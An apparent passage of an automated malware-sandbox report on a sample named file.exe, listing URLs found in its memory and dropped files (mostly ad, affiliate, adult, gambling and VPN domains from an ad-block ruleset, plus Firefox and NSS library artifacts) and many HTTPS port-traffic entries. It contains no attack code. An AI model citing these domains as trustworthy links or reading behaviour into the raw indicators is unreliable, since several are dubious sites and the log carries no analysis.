Source: Ruleset Data.10.dr	String found in binary or memory: https://scurewall.co/
Source: Ruleset Data.10.dr	String found in binary or memory: https://secure.adnxs.com/clktrb?
Source: Ruleset Data.10.dr	String found in binary or memory: https://secure.bstlnk.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://secure.cbdpure.com/aff/
Source: Ruleset Data.10.dr	String found in binary or memory: https://secure.eveonline.com/ft/?aid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://secure.starsaffiliateclub.com/C.ashx?
Source: Ruleset Data.10.dr	String found in binary or memory: https://see.kmisln.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://serve.awmdelivery.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://servedbyadbutler.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://sexsimulator.game/tab/?SID=
Source: Ruleset Data.10.dr	String found in binary or memory: https://shop.trezor.io/
Source: Ruleset Data.10.dr	String found in binary or memory: https://shutterstock.7eer.net/c/
Source: Ruleset Data.10.dr	String found in binary or memory: https://sktt.itchaxun.cn:8080/bbk/sc
Source: Ruleset Data.10.dr	String found in binary or memory: https://smutr.com/?action=trace
Source: Ruleset Data.10.dr	String found in binary or memory: https://socksescort.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://someperceptionparade.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://spygasm.com/track?
Source: Ruleset Data.10.dr	String found in binary or memory: https://squren.com/rotator/?atomid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://static.fleshlight.com/images/banners/
Source: Ruleset Data.10.dr	String found in binary or memory: https://static.steamanalyst.com/steam/delivery/
Source: Ruleset Data.10.dr	String found in binary or memory: https://storage2.proboards.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://store.steampowered.com/app/
Source: Ruleset Data.10.dr	String found in binary or memory: https://submissions.buzzly.art/CANDY/
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: Ruleset Data.10.dr	String found in binary or memory: https://syndication.dynsrvtbg.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://syndication.exoclick.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://syndication.optimizesrv.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.adating.link/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.aslnk.link/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.grtyi.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.hrtye.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.hrtyj.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.me/joinchat/
Source: Ruleset Data.10.dr	String found in binary or memory: https://t.mobtya.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tc.tradetracker.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tech-latest.com/go/nordvpn
Source: Ruleset Data.10.dr	String found in binary or memory: https://thechillipadi.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tinyurl.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tm-offers.gamingadult.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://topoffers.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://torguard.net/aff.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://torrentsafeguard.com/?aid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://tour.mrskin.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tpc.googlesyndication.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.52zxzh.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.afcpatrk.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.afftck.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.bruceads.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.clickmoi.xyz/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.effiliation.com/servlet/effi.click?
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.healthtrader.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.interactivegf.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.themadtrcker.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.totalav.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.trkinator.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.ultravpn.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://track.wg-aff.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://tracking.avapartner.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tracking.comfortclick.eu/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tracking.gitads.io/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tracking.trackcasino.co/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tracking.truthfinder.com/?a=
Source: Ruleset Data.10.dr	String found in binary or memory: https://trackjs.com/?utm_source
Source: Ruleset Data.10.dr	String found in binary or memory: https://traffdaq.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://traffic.bannerator.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://transfer.xe.com/signup/track/redirect?
Source: Ruleset Data.10.dr	String found in binary or memory: https://trappist-1d.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://trf.bannerator.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://trk.moviesflix4k.xyz/
Source: Ruleset Data.10.dr	String found in binary or memory: https://trklvs.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://trust.zone/go/r.php?RID=
Source: Ruleset Data.10.dr	String found in binary or memory: https://trusted-click-host.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://ttf.trmobc.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://tubedupe.com/player/html.php?aid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://uncensored.game/
Source: Ruleset Data.10.dr	String found in binary or memory: https://uncensored3d.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: Ruleset Data.10.dr	String found in binary or memory: https://uploadgig.com/premium/index/
Source: Ruleset Data.10.dr	String found in binary or memory: https://vlnk.me/
Source: Ruleset Data.10.dr	String found in binary or memory: https://vo2.qrlsx.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://walletinvestor.com/u/gnrATE
Source: Ruleset Data.10.dr	String found in binary or memory: https://wantopticalfreelance.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://watchmygirlfriend.tv/
Source: Ruleset Data.10.dr	String found in binary or memory: https://webroutetrk.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://weedzy.co.uk/
Source: Ruleset Data.10.dr	String found in binary or memory: https://wheelwheel.space/
Source: Ruleset Data.10.dr	String found in binary or memory: https://windscribe.com/promo/
Source: Ruleset Data.10.dr	String found in binary or memory: https://wittered-mainging.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.adskeeper.co.uk/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.adultempire.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.adxtro.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.amarotic.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.amazon.
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.amazon.in/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.anabolics.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.appliedenergysystems.com/stakes/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.arthrozene.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.awin1.com/cread.php?awinaffid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.baghvillas.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.bang.com/?aff=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.bebi.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.bet365.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.binance.com/en/register?ref=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.bleepingcomputer.com/go/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.brazzersnetwork.com/landing/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.camsoda.com/enter.php?id=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.canadacasino.ca/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.cardingmentor.org
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.casinonic.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.chngtrack.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.clicktraceclick.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.codewizardshq.com/?utm_
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.deepbrid.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.dollps.com/?track=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.easyfundraising.org.uk
Source: file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.elitepvpers.com/123/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.eneba.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.ewinracing.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.financeads.net/tc.php?
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.firstload.com/affiliate/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.friendlyduck.com/AF_
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.g4mz.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.gambling-affiliation.com/cpc/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.get-express-vpn.com/offer/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.goldenfrog.com/vyprvpn?offer_id=
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2576993209.000000002345A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2472847033.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, FIDGDAKF.0.dr, DAAAFBKE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.googleadservices.com/pagead/aclk?
Source: 05b0c3ee-961e-4c7f-a200-2361f7f20499.tmp.11.dr, fc93f198-855c-4a51-a04a-a5a1a5970684.tmp.11.dr, 6c562d4b-80c2-4a52-9914-56f2034be515.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.gotporn.com/click.php?id=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.hostg.xyz/aff_c
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.hotgirls4fuck.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.hudl.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.idrive.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.im88trk.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.iwantcheats.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.iyalc.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.kingsoffetish.com/tour?partner_id=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.kinguin.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.kqzyfj.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mc-market.org/advertising/ads/create
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2682684437.0000000000256000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EGHJKFHJJJKJJJJKEHCBGCGDAF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mql5.com/fz/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mrchecker.net/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mrporngeek.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mrskin.com/account/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mrskin.com/tour
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mypornstarcams.com/landing/click/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.mytrue10.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.name.com/redirect/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.neox-networks.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.nextpcb.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.nsbinsures.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.nudeidols.com/cams/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.nutaku.net/signup/landing/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.oboom.com/ad/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.oboom.com/ref/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.oneclickroot.com/?tap_a=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.oorahauction.org/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.outsourcingall.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.ownedcore.com/forums/cb.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.passeura.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.pcbway.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.popads.net/users/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.porngames.club/friends/out.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.pornhat.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.privateinternetaccess.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.provideocoalition.com/ghost/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.purevpn.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.rabbits.webcam/?id=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.remove-metadata.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.resiproxy.net
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.rizik.com.bd/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.roaradventures.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.saltycams.com
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.searchcommander.com/rec/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.securegfm.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.share-online.biz/affiliate/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.sheetmusicplus.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.sheetmusicplus.com/?aff_id=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.spyoff.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.sugarinstant.com/?partner_id=
Source: file.exe, 00000000.00000002.2703662533.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.travelzoo.com/oascampaignclick/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.tube8.
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.upload.ee/click.php
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.vfreecams.com/in/?track=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.virtuanic.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.vultr.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.wendymyersdetox.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.what-sexdating.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.xplorer.co.il/
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.xvinlink.com/?a_
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.xvinlink.com/?a_fid=
Source: Ruleset Data.10.dr	String found in binary or memory: https://www.youtube.com/cthru?
Source: Ruleset Data.10.dr	String found in binary or memory: https://x.trafficandoffers.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://yugatech.ph/
Source: Ruleset Data.10.dr	String found in binary or memory: https://zononi.com/
Source: Ruleset Data.10.dr	String found in binary or memory: https://zoro.to
Source: Ruleset Data.10.dr	String found in binary or memory: https://zstacklife.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
